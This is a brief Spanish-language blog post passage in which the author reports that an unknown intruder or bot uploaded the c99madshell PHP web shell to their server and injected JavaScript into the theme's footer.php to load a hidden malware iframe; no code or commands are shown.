Alguien o un bot de alguna forma que aún no logro dilucidar subió un script php, específicamente c99madshell, al servidor y de ahí se dedicó a modificar el archivo footer.php del tema con un javascript que ocultaba un iframe que cargaba algún virus.

Eso sería por ahora, espero que les haya servido de algo :).

Foto:

• Old chain 3 por saveem « stock.xchng

Compartir